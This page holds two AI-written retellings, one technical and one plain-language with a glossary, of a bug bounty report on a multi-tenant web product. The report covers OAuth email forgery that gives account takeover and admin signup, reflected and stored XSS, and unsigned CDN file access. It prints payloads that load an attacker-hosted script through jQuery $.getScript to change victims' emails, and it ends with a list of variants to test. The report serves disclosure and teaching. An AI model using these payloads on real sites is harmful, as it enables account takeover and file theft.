Skip to content
Account takeover Write-up Intermediate

How I hacked a Target again and again…

The report describes multiple vulnerabilities in a web application: an OAuth login flaw that allowed forging the email to log in as any user or create an admin account, a reflected XSS in a file-viewing endpoint, broken access control allowing users to access admin-uploaded files, and a stored XSS in group discussions. An attacker could escalate to account takeover by changing victim email addresses.

Aditya Verma Follow

Published on cirius.medium.com

This all started with a when I was hunting on a private program; I found a few subdomains of almost similar UI and requests but different title. To access the subdomain login was required with no sign of creating an account.

Aditya Verma, on cirius.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The target was a product-based company that sold its product to other companies and also offered trial instances of it. Each customer got a subdomain running the same application, with almost identical UI and requests but a different page title. Login was required to reach the subdomain, and there was no visible way to create an account.

The application supported OAuth login through providers such as Google and Facebook, file uploads for administrators, sharing of uploaded files with users, and group discussions with comments. The bugs described here sit in the OAuth login flow, in the file viewer, and in the discussion comments.

Setup

  1. The researcher was originally hunting on a private VDP and found several subdomains with similar UI and requests but different titles.
  2. Basic injection attempts did not lead anywhere. A Host Header Injection attempt showed that all the subdomains behaved the same way: they redirected to a particular host if it existed, and otherwise fell back to the website whose service was running on those subdomains. That behaviour revealed which product was running.
  3. The product vendor also ran a public bug bounty programme, so the work moved from the private VDP to that public BBP.
  4. A trial account was registered on the product, which gave an admin account on the trial instance.
  5. Burp Suite was used, including the Autorize extension, with a simple user's cookies while browsing the application with admin cookies to look for broken access control.

Finding it

The OAuth flow was the first thing examined. After completing the Facebook login, the browser made a request to an endpoint of the form /sociallogin/[service:DATA,name:DATA,email:DATA,etc. If the email in that request belonged to a registered account, the user was logged in to that account. The application did not check that the email in the request was the same one Facebook had returned after login, so changing the email and sending the request to the same endpoint manually still logged the user in.

The same endpoint had a second behaviour: if the email was not registered to any account, the user was redirected to /forcesignup/DETAILS, which created an account with admin privileges in the webapp. Visiting the forcesignup endpoint directly did not trigger account creation, but the redirect from the sociallogin endpoint did.

While browsing with Autorize, the researcher found an option to upload files that was only present for admins. Uploaded files could be viewed inside the webapp. Clicking to view a file made several requests carrying a unique identifier for that file. One of those endpoints took the identifier from the URL and reflected it back inside a script tag. An invalid identifier was reflected in the same way, and the page was accessible to anyone. With an invalid identifier no file loads, but the reflection is still there.

Some special characters could not be passed through the URL, so the script tag could not be closed. Instead, jQuery inside the script tag was used to load another script with $.getScript("My_server"). A script was then written to change the email of a user, which escalates the XSS to account takeover.

Exploitation

Step 1: Forging the OAuth email

  1. Start the OAuth login with Facebook and complete it.
  2. Observe the request the browser makes to the sociallogin endpoint, which carries the service, name, email and other data.
  3. Change the email in that request to the email of the target account and send it to the same endpoint.
  4. The application logs the requester in to the account matching the supplied email, because it never compares that email with the one Facebook returned.

Step 2: Creating an admin account through forcesignup

  1. Supply an email that is not registered to any account in the sociallogin request.
  2. The application redirects to /forcesignup/DETAILS, which creates an account with admin privileges.
  3. Visiting the forcesignup endpoint directly does not work; the redirect from sociallogin is what triggers the creation.

Step 3: XSS in the file viewer

  1. As an admin, upload files and open one to view it. The browser makes several requests containing a unique identifier for the file.
  2. One endpoint takes that identifier from the URL and reflects it inside a script tag.
  3. An invalid identifier is reflected in the same place, and the page is reachable by anyone, so no valid file is needed.
  4. Special characters that would close the script tag could not be passed through the URL. jQuery was already available inside the script tag, so it was used to pull in an external script:
JavaScript
$.getScript("My_server")
  1. The external script changes the email of the user, turning the XSS into account takeover.

The attack scenario described is: an attacker takes the endpoint from their own trial account, swaps their trial-account subdomain for the victim's subdomain so the attack runs against the victim subdomain, and then changes the email of the administrator account of the victim subdomain when the victim subdomain's admin clicks.

Step 4: Broken access control on shared files

  1. As an admin, share an uploaded file with a user. The URL for viewing the file looks like:
Text
https://trial.domain.com/user/files/id:5
  1. If the admin uploaded five files and shared the fifth, that is the URL the user receives.
  2. Change the ID from 5 to 4. The page does not show the file, but it displays the file name.
  3. By uploading several files, the researcher concluded that files were stored on the CDN as:
Text
https://CDN_domain/fakepath/file_name+EPOCH
  1. The CDN URL also contained a signature and key pair, but the files were accessible without them.
  2. A simple user can therefore view all files uploaded by the admin: visit https://trial.domain.com/user/files/id:5, get the file name, then brute force the EPOCH. This is especially easy when the shared file was uploaded together with other files, because the epochs do not differ much.

Step 5: Stored XSS in discussion comments

  1. Users interact in groups by creating discussions. Basic HTML injection in the comments went through.
  2. Basic XSS payloads did not work. An Intruder run created comments using the PortSwigger wordlist for all event attributes with an h1 tag.
  3. Most event attributes were blocked, but onpointerup, onpointerdown and similar onpointer attributes were not, which opened the possibility of XSS.
  4. The following payload was used, together with the earlier script that changes the victim user's email:
HTML
<h1 onpointerup=$.getScript("mydomain_url")>Hello</h1>
  1. This is a stored XSS that changes the email of every user who visits the discussion.

The researcher notes that other bugs and bypasses of previous bugs were found on the same programme but were left out of the post.

Root cause

In the OAuth flow, the sociallogin endpoint trusted the email supplied in the request instead of binding it to the identity the provider had just authenticated. There was no check that the email in the request matched the email Facebook returned, so the data could be forged. The forcesignup endpoint then turned an unregistered email into an admin account; visiting it directly did not trigger account creation, but the redirect from sociallogin did.

In the file viewer, the unique identifier from the URL was reflected inside a script tag. and the page was reachable without authentication. The inability to pass some special characters through the URL limited the payload but did not prevent script execution, because jQuery was available inside the script tag.

In the file sharing feature, changing the file ID from 5 to 4 did not show the file but displayed the file name. The CDN URL included a signature and key pair, but the files were accessible without them, so the signature was not enforced.

In the discussion comments, HTML injection was possible and the filter blocked most event attributes but missed the onpointer family, which allowed a stored XSS.

Impact

An attacker could log in to an account by changing the email in the sociallogin request to that account's email. and could create an admin account on the instance by supplying an unregistered email. Through the file viewer XSS, an attacker could change the email of a user, escalating to account takeover, and the attack could be aimed at a victim subdomain by swapping the subdomain in the endpoint taken from the attacker's own trial account. A simple user could view all files uploaded by the admin by changing the file ID to get the name and brute forcing the EPOCH, which is easiest when the file was uploaded together with other files. The stored XSS in discussion comments changed the email of every user who visited the discussion.

Fix

The OAuth bug was fixed by adding a signature parameter along with the other details in the /sociallogin/ endpoint, which made sure the data in the request could not be forged. The report does not describe fixes for the other issues.

Variants to test

  1. On any OAuth or social login flow, capture the request that follows the provider callback and change the email, username or subject to another account's value. A positive result is being logged in to the other account, or being redirected to an account creation step for an unregistered value.
  2. Try reaching the account creation endpoint directly and through the redirect from the login endpoint. A positive result is an account being created only through the redirect path.
  3. Look for endpoints that reflect a URL parameter inside a script tag, and test invalid values as well as valid ones. A positive result is the value appearing unencoded inside the script, on a page reachable without authentication.
  4. Where special characters are filtered, check whether a library such as jQuery is already loaded inside the script context and can be used to fetch an external script.
  5. On file sharing features, change the file ID in the viewing URL to another user's or the admin's file. A positive result is the file name, metadata or content being disclosed.
  6. Where files are served from a CDN with a name plus an epoch, try the URL without the signature and key pair, and try nearby epochs for files uploaded together. A positive result is the file being served without a valid signature.
  7. In comment and discussion features, inject HTML first, then run an event-attribute wordlist with a simple tag. A positive result is an attribute such as onpointerup or onpointerdown surviving the filter and executing.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher was looking at a private vulnerability disclosure programme (VDP), which is a scheme where a company lets people report security problems to it, usually without paying a reward. While poking around, the researcher noticed several subdomains (subdomains are the parts of a web address before the main domain, like shop.example.com versus example.com) that looked almost identical in their user interface and in the requests they made, but had different page titles. To get into any of them you had to log in, and there was no visible way to create an account.

The researcher tried some basic injection attempts, meaning attempts to slip extra commands or data into a place where the application expects ordinary input. Those did not lead anywhere. Then the researcher tried Host Header Injection, which is a technique where you tamper with the Host header, a small piece of information the browser sends to tell the server which website name it is asking for. That attempt showed that all the subdomains behaved the same way: they redirected to a particular host if it existed, and otherwise fell back to the website whose service was running on those subdomains. That behaviour revealed which product was running behind them. The product vendor also ran a public bug bounty programme (BBP), which is like a VDP but usually pays a reward for valid reports, so the work moved from the private VDP to that public BBP.

The researcher registered a trial account on the product. A trial account gave an admin account on the trial instance, meaning an account with the highest level of permission inside that copy of the product. The researcher then used Burp Suite, a tool that sits between the browser and the website and lets you see and change every request and response, together with an extension called Autorize. Autorize is used to check for broken access control, which is when the application lets someone do something they should not be allowed to do, for example a normal user reaching an admin-only feature. The idea was to browse the application while logged in as an admin, then replay the same requests with a simple user's cookies to see whether the simple user could reach the same things. A cookie is a small piece of data the browser stores for a website and sends back with each request, and it is often what keeps you logged in.

The application supported OAuth login through providers such as Google and Facebook. OAuth is a way to log in to one website using an account you already have on another website, without giving the first website your password. The application also let administrators upload files, let them share those uploaded files with users, and let users interact in groups by creating discussions with comments. The bugs described here sit in the OAuth login flow, in the file viewer, and in the discussion comments.

Setup

  1. The researcher was originally hunting on a private VDP and found several subdomains with similar UI and requests but different titles.
  2. Basic injection attempts did not lead anywhere. A Host Header Injection attempt showed that all the subdomains behaved the same way: they redirected to a particular host if it existed, and otherwise fell back to the website whose service was running on those subdomains. That behaviour revealed which product was running.
  3. The product vendor also ran a public bug bounty programme, so the work moved from the private VDP to that public BBP.
  4. A trial account was registered on the product, which gave an admin account on the trial instance.
  5. Burp Suite was used, including the Autorize extension, with a simple user's cookies while browsing the application with admin cookies to look for broken access control.

Finding it

The OAuth flow was the first thing examined. After completing the Facebook login, the browser made a request to an endpoint of the form /sociallogin/[service:DATA,name:DATA,email:DATA,etc. An endpoint is simply a specific address on a server that does a particular job, like a counter in a shop that handles one kind of request. If the email in that request belonged to a registered account, the user was logged in to that account. The application did not check that the email in the request was the same one Facebook had returned after login, so changing the email and sending the request to the same endpoint manually still logged the user in.

The same endpoint had a second behaviour: if the email was not registered to any account, the user was redirected to /forcesignup/DETAILS, which created an account with admin privileges in the webapp. Visiting the forcesignup endpoint directly did not trigger account creation, but the redirect from the sociallogin endpoint did.

While browsing with Autorize, the researcher found an option to upload files that was only present for admins. Uploaded files could be viewed inside the webapp. Clicking to view a file made several requests carrying a unique identifier for that file. One of those endpoints took the identifier from the URL and reflected it back inside a script tag. Reflecting means the application takes a value you supplied and puts it straight back into the page it sends you. A script tag is the piece of HTML that tells the browser to run JavaScript, the programming language that makes web pages interactive. An invalid identifier was reflected in the same way, and the page was accessible to anyone. With an invalid identifier no file loads, but the reflection is still there.

Some special characters could not be passed through the URL, so the script tag could not be closed. Instead, jQuery inside the script tag was used to load another script with $.getScript("My_server"). jQuery is a popular JavaScript library, a collection of ready-made code that websites often load to make scripting easier, and $.getScript is one of its functions that fetches and runs another script from a given address. A script was then written to change the email of a user, which escalates the XSS to account takeover. XSS, or cross-site scripting, is when an attacker gets their own JavaScript to run in someone else's browser on the vulnerable website, and account takeover means using that to gain control of the victim's account.

Exploitation

Step 1: Forging the OAuth email

  1. Start the OAuth login with Facebook and complete it.
  2. Observe the request the browser makes to the sociallogin endpoint, which carries the service, name, email and other data.
  3. Change the email in that request to the email of the target account and send it to the same endpoint.
  4. The application logs the requester in to the account matching the supplied email, because it never compares that email with the one Facebook returned.

The reason for each step: you first complete a normal login so you can see exactly what the browser sends when everything is legitimate. That request is the template. You then edit only the email field, because the application trusts whatever email arrives rather than checking it against the identity Facebook just confirmed. Sending it back to the same endpoint is enough to be logged in as the account that owns the edited email.

Step 2: Creating an admin account through forcesignup

  1. Supply an email that is not registered to any account in the sociallogin request.
  2. The application redirects to /forcesignup/DETAILS, which creates an account with admin privileges.
  3. Visiting the forcesignup endpoint directly does not work; the redirect from sociallogin is what triggers the creation.

The point of trying an unregistered email is to see what the application does when it cannot match the email to an existing account. Instead of refusing, it sends the browser to a signup step that creates an account with admin privileges. The researcher also tried opening the forcesignup address directly, but that did nothing, which shows the creation only happens when the request arrives through the redirect from the sociallogin endpoint.

Step 3: XSS in the file viewer

  1. As an admin, upload files and open one to view it. The browser makes several requests containing a unique identifier for the file.
  2. One endpoint takes that identifier from the URL and reflects it inside a script tag.
  3. An invalid identifier is reflected in the same place, and the page is reachable by anyone, so no valid file is needed.
  4. Special characters that would close the script tag could not be passed through the URL. jQuery was already available inside the script tag, so it was used to pull in an external script:
JavaScript
$.getScript("My_server")

Line by line: $.getScript is a jQuery function that downloads a script from a web address and runs it in the page. "My_server" is the address passed to $.getScript, which fetches and runs a script from that address. So this single line makes the victim's browser fetch the attacker's script and execute it as if the website itself had served it.

  1. The external script changes the email of the user, turning the XSS into account takeover.

The attack scenario described is: an attacker takes the endpoint from their own trial account, swaps their trial-account subdomain for the victim's subdomain so the attack runs against the victim subdomain, and then changes the email of the administrator account of the victim subdomain when the victim subdomain's admin clicks. In other words, because every customer gets their own subdomain running the same application, the attacker can practise on their own copy, then point the same address at the victim's copy and wait for the victim's admin to trigger it.

Step 4: Broken access control on shared files

  1. As an admin, share an uploaded file with a user. The URL for viewing the file looks like:
Text
https://trial.domain.com/user/files/id:5

Line by line: https:// is the scheme, meaning the browser should use encrypted HTTP. trial.domain.com is the subdomain of the trial instance. /user/files/id:5 is the path, and id:5 is the identifier of the file being viewed, here file number 5.

  1. If the admin uploaded five files and shared the fifth, that is the URL the user receives.
  2. Change the ID from 5 to 4. The page does not show the file, but it displays the file name.
  3. By uploading several files, the researcher concluded that files were stored on the CDN as:
Text
https://CDN_domain/fakepath/file_name+EPOCH

Line by line: CDN_domain is the address of the content delivery network, a service that stores and serves files from many locations so they load quickly. file_name is the name of the uploaded file. EPOCH is a value appended to the file name in the CDN URL.

  1. The CDN URL also contained a signature and key pair, but the files were accessible without them. A signature here is a value added to a URL to prove the link was legitimately generated, and a key pair is the pair of cryptographic keys used to produce and check that proof. If the files load without them, the check is not actually enforced.
  2. A simple user can therefore view all files uploaded by the admin: visit https://trial.domain.com/user/files/id:5, get the file name, then brute force the EPOCH. Brute forcing means trying many possible values until one works. This is especially easy when the shared file was uploaded together with other files, because the epochs do not differ much.

Step 5: Stored XSS in discussion comments

  1. Users interact in groups by creating discussions. Basic HTML injection in the comments went through. HTML injection means getting your own HTML markup into a page, which is the first step towards XSS.
  2. Basic XSS payloads did not work. An Intruder run created comments using the PortSwigger wordlist for all event attributes with an h1 tag. Intruder is the Burp Suite tool that sends many variations of a request automatically, a wordlist is a list of candidate values to try, and an event attribute is an HTML attribute such as onclick that tells the browser to run code when something happens, like a click.
  3. Most event attributes were blocked, but onpointerup, onpointerdown and similar onpointer attributes were not, which opened the possibility of XSS. These attributes fire when a pointer, such as a mouse or a finger, is pressed down or released on the element.
  4. The following payload was used, together with the earlier script that changes the victim user's email:
HTML
<h1 onpointerup=$.getScript("mydomain_url")>Hello</h1>

Line by line: <h1 opens a top-level heading element. onpointerup= attaches an event handler that runs when the pointer is released over the heading. $.getScript("mydomain_url") is the jQuery call that fetches and runs the attacker's script from mydomain_url. >Hello</h1> closes the opening tag, puts the visible text Hello inside the heading, and closes the element.

  1. This is a stored XSS that changes the email of every user who visits the discussion. Stored means the payload is saved on the server, in this case as a comment, and served to everyone who later opens the page, so no special link is needed.

The researcher notes that other bugs and bypasses of previous bugs were found on the same programme but were left out of the post.

Root cause

In the OAuth flow, the sociallogin endpoint trusted the email supplied in the request instead of binding it to the identity the provider had just authenticated. There was no check that the email in the request matched the email Facebook returned, so the data could be forged. The forcesignup endpoint then turned an unregistered email into an admin account; visiting it directly did not trigger creation, but the redirect from sociallogin did.

In the file viewer, the unique identifier from the URL was reflected inside a script tag, and the page was accessible by anyone. Encoding here means converting characters so the browser treats them as text rather than as code. The inability to pass some special characters through the URL limited the payload but did not prevent script execution, because jQuery was available inside the script tag.

In the file sharing feature, changing the file ID from 5 to 4 did not show the file but displayed the file name. The CDN URL included a signature and key pair, but the files were accessible without them, so the signature was not enforced.

In the discussion comments, HTML injection was possible and the filter blocked most event attributes but missed the onpointer family, which allowed a stored XSS.

Impact

An attacker could log in to an account by changing the email in the sociallogin request to that account's email. and could create an admin account on the instance by supplying an unregistered email. Through the file viewer XSS, an attacker could change the email of a user, escalating to account takeover, and the attack could be aimed at a victim subdomain by swapping the subdomain in the endpoint taken from the attacker's own trial account. A simple user could view all files uploaded by the admin by changing the file ID to get the name and brute forcing the EPOCH, which is easiest when the file was uploaded together with other files. The stored XSS in discussion comments changed the email of every user who visited the discussion.

Fix

The OAuth bug was fixed by adding a signature parameter along with the other details in the /sociallogin/ endpoint, which made sure the data in the request could not be forged. The report does not describe fixes for the other issues.

Variants to test

  1. On any OAuth or social login flow, capture the request that follows the provider callback and change the email, username or subject to another account's value. A positive result is being logged in to the other account, or being redirected to an account creation step for an unregistered value.
  2. Try reaching the account creation endpoint directly and through the redirect from the login endpoint. A positive result is an account being created only through the redirect path.
  3. Look for endpoints that reflect a URL parameter inside a script tag, and test invalid values as well as valid ones. A positive result is the value appearing unencoded inside the script, on a page reachable without authentication.
  4. Where special characters are filtered, check whether a library such as jQuery is already loaded inside the script context and can be used to fetch an external script.
  5. On file sharing features, change the file ID in the viewing URL to another user's or the admin's file. A positive result is the file name, metadata or content being disclosed.
  6. Where files are served from a CDN with a name plus an epoch, try the URL without the signature and key pair, and try nearby epochs for files uploaded together. A positive result is the file being served without a valid signature.
  7. In comment and discussion features, inject HTML first, then run an event-attribute wordlist with a simple tag. A positive result is an attribute such as onpointerup or onpointerdown surviving the filter and executing.

Glossary

  • Account takeover: gaining control of someone else's account, for example by changing the email address attached to it.
  • Admin account: an account with the highest level of permission in an application, able to use features ordinary users cannot.
  • API: a defined set of addresses and rules that one piece of software uses to talk to another; here, the endpoints the browser calls.
  • Autorize: a Burp Suite extension that replays requests with different users' cookies to check for broken access control.
  • Broken access control: a flaw where the application lets someone do something they should not be allowed to do.
  • Brute force: trying many possible values until one works.
  • Bug bounty programme (BBP): a scheme where a company invites people to report security problems, usually in exchange for a reward.
  • Burp Suite: a tool that sits between the browser and the website so you can see and change requests and responses.
  • CDN (content delivery network): a service that stores and serves files from many locations so they load quickly.
  • Cookie: a small piece of data the browser stores for a website and sends back with each request, often used to keep you logged in.
  • Cross-site scripting (XSS): getting an attacker's JavaScript to run in someone else's browser on a vulnerable website.
  • Endpoint: a specific address on a server that performs a particular job.
  • EPOCH: a timestamp, a number representing a moment in time, here the moment a file was uploaded.
  • Event attribute: an HTML attribute such as onclick or onpointerup that tells the browser to run code when something happens.
  • Host header: the part of a request that tells the server which website name the browser is asking for.
  • Host Header Injection: tampering with the Host header to influence how the server responds or redirects.
  • HTML injection: getting your own HTML markup into a page, the first step towards XSS.
  • Intruder: the Burp Suite tool that sends many variations of a request automatically.
  • jQuery: a popular JavaScript library that websites often load to make scripting easier.
  • JavaScript: the programming language that makes web pages interactive and runs in the browser.
  • Key pair: a pair of cryptographic keys used to produce and check a signature.
  • OAuth: a way to log in to one website using an account you already have on another website, without sharing your password.
  • Reflection: when an application takes a value you supplied and puts it straight back into the page it sends you.
  • Signature: a value added to a request or URL to prove it was legitimately generated and has not been altered.
  • Stored XSS: XSS where the payload is saved on the server and served to everyone who later opens the page.
  • Subdomain: the part of a web address before the main domain, such as shop in shop.example.com.
  • Trial instance: a temporary copy of a product given to a customer to try, here running on its own subdomain.
  • Vulnerability disclosure programme (VDP): a scheme where a company lets people report security problems to it, usually without paying a reward.
  • Wordlist: a list of candidate values to try, used with a tool like Intruder.

More by Aditya Verma

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.